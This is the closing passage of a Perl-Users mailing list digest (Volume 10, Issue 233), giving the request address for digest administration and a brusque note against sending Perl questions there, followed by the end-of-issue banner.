where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 233
**************************************